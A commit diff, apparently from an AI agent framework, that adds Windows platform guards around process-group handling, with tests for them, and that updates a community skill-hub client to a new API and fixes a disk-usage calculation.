"""Find all preexec_fn= keyword arguments in Popen calls."""
|
||||
source = filepath.read_text(encoding="utf-8")
|
||||
tree = ast.parse(source, filename=str(filepath))
|
||||
values = []
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.keyword) and node.arg == "preexec_fn":
|
||||
values.append(ast.dump(node.value))
|
||||
return values
|
||||
|
||||
|
||||
class TestNoUnconditionalSetsid:
|
||||
"""preexec_fn must never be a bare os.setsid reference."""
|
||||
|
||||
@pytest.mark.parametrize("relpath", GUARDED_FILES)
|
||||
def test_preexec_fn_is_guarded(self, relpath):
|
||||
filepath = PROJECT_ROOT / relpath
|
||||
if not filepath.exists():
|
||||
pytest.skip(f"{relpath} not found")
|
||||
values = _get_preexec_fn_values(filepath)
|
||||
for val in values:
|
||||
# A bare os.setsid would be: Attribute(value=Name(id='os'), attr='setsid')
|
||||
assert "attr='setsid'" not in val or "IfExp" in val or "None" in val, (
|
||||
f"{relpath} has unconditional preexec_fn=os.setsid"
|
||||
)
|
||||
|
||||
|
||||
class TestIsWindowsConstant:
|
||||
"""Each guarded file must define _IS_WINDOWS."""
|
||||
|
||||
@pytest.mark.parametrize("relpath", GUARDED_FILES)
|
||||
def test_has_is_windows(self, relpath):
|
||||
filepath = PROJECT_ROOT / relpath
|
||||
if not filepath.exists():
|
||||
pytest.skip(f"{relpath} not found")
|
||||
source = filepath.read_text(encoding="utf-8")
|
||||
assert "_IS_WINDOWS" in source, (
|
||||
f"{relpath} missing _IS_WINDOWS platform guard"
|
||||
)
|
||||
|
||||
|
||||
class TestKillpgGuarded:
|
||||
"""os.killpg must always be behind a platform check."""
|
||||
|
||||
@pytest.mark.parametrize("relpath", GUARDED_FILES)
|
||||
def test_no_unguarded_killpg(self, relpath):
|
||||
filepath = PROJECT_ROOT / relpath
|
||||
if not filepath.exists():
|
||||
pytest.skip(f"{relpath} not found")
|
||||
source = filepath.read_text(encoding="utf-8")
|
||||
lines = source.splitlines()
|
||||
for i, line in enumerate(lines):
|
||||
stripped = line.strip()
|
||||
if "os.killpg" in stripped or "os.getpgid" in stripped:
|
||||
# Check that there's an _IS_WINDOWS guard in the surrounding context
|
||||
context = "\n".join(lines[max(0, i - 15):i + 1])
|
||||
assert "_IS_WINDOWS" in context or "else:" in context, (
|
||||
f"{relpath}:{i + 1} has unguarded os.killpg/os.getpgid call"
|
||||
)
|
||||
@@ -60,7 +60,7 @@ def detect_dangerous_command(command: str) -> tuple:
|
||||
"""
|
||||
command_lower = command.lower()
|
||||
for pattern, description in DANGEROUS_PATTERNS:
|
||||
if re.search(pattern, command_lower, re.IGNORECASE):
|
||||
if re.search(pattern, command_lower, re.IGNORECASE | re.DOTALL):
|
||||
pattern_key = pattern.split(r'\b')[1] if r'\b' in pattern else pattern[:20]
|
||||
return (True, pattern_key, description)
|
||||
return (False, None, None)
|
||||
|
||||
@@ -20,6 +20,7 @@ Platform: Linux / macOS only (Unix domain sockets). Disabled on Windows.
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import signal
|
||||
import socket
|
||||
import subprocess
|
||||
@@ -28,6 +29,8 @@ import tempfile
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
|
||||
_IS_WINDOWS = platform.system() == "Windows"
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
# Availability gate: UDS requires a POSIX OS
|
||||
@@ -405,7 +408,7 @@ def execute_code(
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
stdin=subprocess.DEVNULL,
|
||||
preexec_fn=os.setsid,
|
||||
preexec_fn=None if _IS_WINDOWS else os.setsid,
|
||||
)
|
||||
|
||||
# --- Poll loop: watch for exit, timeout, and interrupt ---
|
||||
@@ -514,7 +517,10 @@ def execute_code(
|
||||
def _kill_process_group(proc, escalate: bool = False):
|
||||
"""Kill the child and its entire process group."""
|
||||
try:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
if _IS_WINDOWS:
|
||||
proc.terminate()
|
||||
else:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
try:
|
||||
proc.kill()
|
||||
@@ -527,7 +533,10 @@ def _kill_process_group(proc, escalate: bool = False):
|
||||
proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
try:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
|
||||
if _IS_WINDOWS:
|
||||
proc.kill()
|
||||
else:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
try:
|
||||
proc.kill()
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
"""Local execution environment with interrupt support and non-blocking I/O."""
|
||||
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import signal
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
|
||||
_IS_WINDOWS = platform.system() == "Windows"
|
||||
|
||||
from tools.environments.base import BaseEnvironment
|
||||
|
||||
# Noise lines emitted by interactive shells when stdin is not a terminal.
|
||||
@@ -74,7 +77,7 @@ class LocalEnvironment(BaseEnvironment):
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
stdin=subprocess.PIPE if stdin_data is not None else subprocess.DEVNULL,
|
||||
preexec_fn=os.setsid,
|
||||
preexec_fn=None if _IS_WINDOWS else os.setsid,
|
||||
)
|
||||
|
||||
if stdin_data is not None:
|
||||
@@ -107,12 +110,15 @@ class LocalEnvironment(BaseEnvironment):
|
||||
while proc.poll() is None:
|
||||
if _interrupt_event.is_set():
|
||||
try:
|
||||
pgid = os.getpgid(proc.pid)
|
||||
os.killpg(pgid, signal.SIGTERM)
|
||||
try:
|
||||
proc.wait(timeout=1.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
os.killpg(pgid, signal.SIGKILL)
|
||||
if _IS_WINDOWS:
|
||||
proc.terminate()
|
||||
else:
|
||||
pgid = os.getpgid(proc.pid)
|
||||
os.killpg(pgid, signal.SIGTERM)
|
||||
try:
|
||||
proc.wait(timeout=1.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
os.killpg(pgid, signal.SIGKILL)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
proc.kill()
|
||||
reader.join(timeout=2)
|
||||
@@ -122,7 +128,10 @@ class LocalEnvironment(BaseEnvironment):
|
||||
}
|
||||
if time.monotonic() > deadline:
|
||||
try:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
if _IS_WINDOWS:
|
||||
proc.terminate()
|
||||
else:
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
proc.kill()
|
||||
reader.join(timeout=2)
|
||||
|
||||
@@ -107,7 +107,7 @@ class ReadResult:
|
||||
similar_files: List[str] = field(default_factory=list)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {k: v for k, v in self.__dict__.items() if v is not None and v != [] and v != ""}
|
||||
return {k: v for k, v in self.__dict__.items() if v is not None and v != []}
|
||||
|
||||
|
||||
@dataclass
|
||||
|
||||
@@ -32,6 +32,7 @@ Usage:
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import shlex
|
||||
import shutil
|
||||
import signal
|
||||
@@ -39,6 +40,8 @@ import subprocess
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
|
||||
_IS_WINDOWS = platform.system() == "Windows"
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
@@ -199,7 +202,7 @@ class ProcessRegistry:
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
stdin=subprocess.PIPE,
|
||||
preexec_fn=os.setsid,
|
||||
preexec_fn=None if _IS_WINDOWS else os.setsid,
|
||||
)
|
||||
|
||||
session.process = proc
|
||||
@@ -551,7 +554,10 @@ class ProcessRegistry:
|
||||
elif session.process:
|
||||
# Local process -- kill the process group
|
||||
try:
|
||||
os.killpg(os.getpgid(session.process.pid), signal.SIGTERM)
|
||||
if _IS_WINDOWS:
|
||||
session.process.terminate()
|
||||
else:
|
||||
os.killpg(os.getpgid(session.process.pid), signal.SIGTERM)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
session.process.kill()
|
||||
elif session.env_ref and session.pid:
|
||||
|
||||
@@ -520,8 +520,8 @@ class ClawHubSource(SkillSource):
|
||||
|
||||
try:
|
||||
resp = httpx.get(
|
||||
f"{self.BASE_URL}/skills/search",
|
||||
params={"q": query, "limit": limit},
|
||||
f"{self.BASE_URL}/skills",
|
||||
params={"search": query, "limit": limit},
|
||||
timeout=15,
|
||||
)
|
||||
if resp.status_code != 200:
|
||||
@@ -530,82 +530,154 @@ class ClawHubSource(SkillSource):
|
||||
except (httpx.HTTPError, json.JSONDecodeError):
|
||||
return []
|
||||
|
||||
skills_data = data.get("skills", data) if isinstance(data, dict) else data
|
||||
skills_data = data.get("items", data) if isinstance(data, dict) else data
|
||||
if not isinstance(skills_data, list):
|
||||
return []
|
||||
|
||||
results = []
|
||||
for item in skills_data[:limit]:
|
||||
name = item.get("name", item.get("slug", ""))
|
||||
if not name:
|
||||
slug = item.get("slug")
|
||||
if not slug:
|
||||
continue
|
||||
meta = SkillMeta(
|
||||
name=name,
|
||||
description=item.get("description", ""),
|
||||
display_name = item.get("displayName") or item.get("name") or slug
|
||||
summary = item.get("summary") or item.get("description") or ""
|
||||
tags = item.get("tags", [])
|
||||
if not isinstance(tags, list):
|
||||
tags = []
|
||||
results.append(SkillMeta(
|
||||
name=display_name,
|
||||
description=summary,
|
||||
source="clawhub",
|
||||
identifier=item.get("slug", name),
|
||||
identifier=slug,
|
||||
trust_level="community",
|
||||
tags=item.get("tags", []),
|
||||
)
|
||||
results.append(meta)
|
||||
tags=[str(t) for t in tags],
|
||||
))
|
||||
|
||||
_write_index_cache(cache_key, [_skill_meta_to_dict(s) for s in results])
|
||||
return results
|
||||
|
||||
def fetch(self, identifier: str) -> Optional[SkillBundle]:
|
||||
try:
|
||||
resp = httpx.get(
|
||||
f"{self.BASE_URL}/skills/{identifier}/versions/latest/files",
|
||||
timeout=30,
|
||||
)
|
||||
if resp.status_code != 200:
|
||||
return None
|
||||
data = resp.json()
|
||||
except (httpx.HTTPError, json.JSONDecodeError):
|
||||
slug = identifier.split("/")[-1]
|
||||
|
||||
skill_data = self._get_json(f"{self.BASE_URL}/skills/{slug}")
|
||||
if not isinstance(skill_data, dict):
|
||||
return None
|
||||
|
||||
files: Dict[str, str] = {}
|
||||
file_list = data.get("files", data) if isinstance(data, dict) else data
|
||||
if isinstance(file_list, list):
|
||||
for f in file_list:
|
||||
fname = f.get("name", f.get("path", ""))
|
||||
content = f.get("content", "")
|
||||
if fname and content:
|
||||
files[fname] = content
|
||||
elif isinstance(file_list, dict):
|
||||
files = {k: v for k, v in file_list.items() if isinstance(v, str)}
|
||||
latest_version = self._resolve_latest_version(slug, skill_data)
|
||||
if not latest_version:
|
||||
logger.warning("ClawHub fetch failed for %s: could not resolve latest version", slug)
|
||||
return None
|
||||
|
||||
version_data = self._get_json(f"{self.BASE_URL}/skills/{slug}/versions/{latest_version}")
|
||||
if not isinstance(version_data, dict):
|
||||
return None
|
||||
|
||||
files = self._extract_files(version_data)
|
||||
if "SKILL.md" not in files:
|
||||
logger.warning(
|
||||
"ClawHub fetch for %s resolved version %s but no inline/raw file content was available",
|
||||
slug,
|
||||
latest_version,
|
||||
)
|
||||
return None
|
||||
|
||||
return SkillBundle(
|
||||
name=identifier.split("/")[-1] if "/" in identifier else identifier,
|
||||
name=slug,
|
||||
files=files,
|
||||
source="clawhub",
|
||||
identifier=identifier,
|
||||
identifier=slug,
|
||||
trust_level="community",
|
||||
)
|
||||
|
||||
def inspect(self, identifier: str) -> Optional[SkillMeta]:
|
||||
slug = identifier.split("/")[-1]
|
||||
data = self._get_json(f"{self.BASE_URL}/skills/{slug}")
|
||||
if not isinstance(data, dict):
|
||||
return None
|
||||
|
||||
tags = data.get("tags", [])
|
||||
if not isinstance(tags, list):
|
||||
tags = []
|
||||
|
||||
return SkillMeta(
|
||||
name=data.get("displayName") or data.get("name") or data.get("slug") or slug,
|
||||
description=data.get("summary") or data.get("description") or "",
|
||||
source="clawhub",
|
||||
identifier=data.get("slug") or slug,
|
||||
trust_level="community",
|
||||
tags=[str(t) for t in tags],
|
||||
)
|
||||
|
||||
def _get_json(self, url: str, timeout: int = 20) -> Optional[Any]:
|
||||
try:
|
||||
resp = httpx.get(
|
||||
f"{self.BASE_URL}/skills/{identifier}",
|
||||
timeout=15,
|
||||
)
|
||||
resp = httpx.get(url, timeout=timeout)
|
||||
if resp.status_code != 200:
|
||||
return None
|
||||
data = resp.json()
|
||||
return resp.json()
|
||||
except (httpx.HTTPError, json.JSONDecodeError):
|
||||
return None
|
||||
|
||||
return SkillMeta(
|
||||
name=data.get("name", identifier),
|
||||
description=data.get("description", ""),
|
||||
source="clawhub",
|
||||
identifier=identifier,
|
||||
trust_level="community",
|
||||
tags=data.get("tags", []),
|
||||
)
|
||||
def _resolve_latest_version(self, slug: str, skill_data: Dict[str, Any]) -> Optional[str]:
|
||||
latest = skill_data.get("latestVersion")
|
||||
if isinstance(latest, dict):
|
||||
version = latest.get("version")
|
||||
if isinstance(version, str) and version:
|
||||
return version
|
||||
|
||||
tags = skill_data.get("tags")
|
||||
if isinstance(tags, dict):
|
||||
latest_tag = tags.get("latest")
|
||||
if isinstance(latest_tag, str) and latest_tag:
|
||||
return latest_tag
|
||||
|
||||
versions_data = self._get_json(f"{self.BASE_URL}/skills/{slug}/versions")
|
||||
if isinstance(versions_data, list) and versions_data:
|
||||
first = versions_data[0]
|
||||
if isinstance(first, dict):
|
||||
version = first.get("version")
|
||||
if isinstance(version, str) and version:
|
||||
return version
|
||||
return None
|
||||
|
||||
def _extract_files(self, version_data: Dict[str, Any]) -> Dict[str, str]:
|
||||
files: Dict[str, str] = {}
|
||||
file_list = version_data.get("files")
|
||||
|
||||
if isinstance(file_list, dict):
|
||||
return {k: v for k, v in file_list.items() if isinstance(v, str)}
|
||||
|
||||
if not isinstance(file_list, list):
|
||||
return files
|
||||
|
||||
for file_meta in file_list:
|
||||
if not isinstance(file_meta, dict):
|
||||
continue
|
||||
|
||||
fname = file_meta.get("path") or file_meta.get("name")
|
||||
if not fname or not isinstance(fname, str):
|
||||
continue
|
||||
|
||||
inline_content = file_meta.get("content")
|
||||
if isinstance(inline_content, str):
|
||||
files[fname] = inline_content
|
||||
continue
|
||||
|
||||
raw_url = file_meta.get("rawUrl") or file_meta.get("downloadUrl") or file_meta.get("url")
|
||||
if isinstance(raw_url, str) and raw_url.startswith("http"):
|
||||
content = self._fetch_text(raw_url)
|
||||
if content is not None:
|
||||
files[fname] = content
|
||||
|
||||
return files
|
||||
|
||||
def _fetch_text(self, url: str) -> Optional[str]:
|
||||
try:
|
||||
resp = httpx.get(url, timeout=20)
|
||||
if resp.status_code == 200:
|
||||
return resp.text
|
||||
except httpx.HTTPError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@@ -638,19 +638,18 @@ def get_active_environments_info() -> Dict[str, Any]:
|
||||
"workdirs": {},
|
||||
}
|
||||
|
||||
# Calculate total disk usage
|
||||
# Calculate total disk usage (per-task to avoid double-counting)
|
||||
total_size = 0
|
||||
for task_id in _active_environments.keys():
|
||||
# Check sandbox and workdir sizes
|
||||
scratch_dir = _get_scratch_dir()
|
||||
for pattern in [f"hermes-*{task_id[:8]}*"]:
|
||||
import glob
|
||||
for path in glob.glob(str(scratch_dir / "hermes-*")):
|
||||
try:
|
||||
size = sum(f.stat().st_size for f in Path(path).rglob('*') if f.is_file())
|
||||
total_size += size
|
||||
except OSError:
|
||||
pass
|
||||
pattern = f"hermes-*{task_id[:8]}*"
|
||||
import glob
|
||||
for path in glob.glob(str(scratch_dir / pattern)):
|
||||
try:
|
||||
size = sum(f.stat().st_size for f in Path(path).rglob('*') if f.is_file())
|
||||
total_size += size
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
info["total_disk_usage_mb"] = round(total_size / (1024 * 1024), 2)
|
||||
return info
|
||||
|
||||
Reference in New Issue
Block a user